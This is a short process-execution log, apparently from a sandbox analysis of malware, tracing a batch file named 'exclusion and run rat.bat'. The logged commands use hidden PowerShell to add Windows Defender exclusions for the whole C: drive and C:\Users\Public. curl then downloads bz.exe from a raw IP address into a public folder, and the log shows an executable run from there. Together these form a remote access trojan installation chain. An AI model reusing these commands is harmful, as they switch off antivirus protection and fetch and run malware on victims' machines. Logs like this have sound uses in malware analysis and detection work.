cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "OTwXHnJr" "C:\Users\test22\AppData\Local\Temp\exclusion and run rat.bat"
3000cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\test22\AppData\Local\Temp\exclusion and run rat.bat"
792powershell.exe powershell -WindowStyle Hidden -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\'"
1376timeout.exe timeout /t 8
2352curl.exe curl -o "C:\Users\Public\Videos\bz.exe" "http://51.79.49.73/crc/bz.exe"
1688powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\Public"
1844Play.exe C:\Users\Public\Videos\Play.exe
2112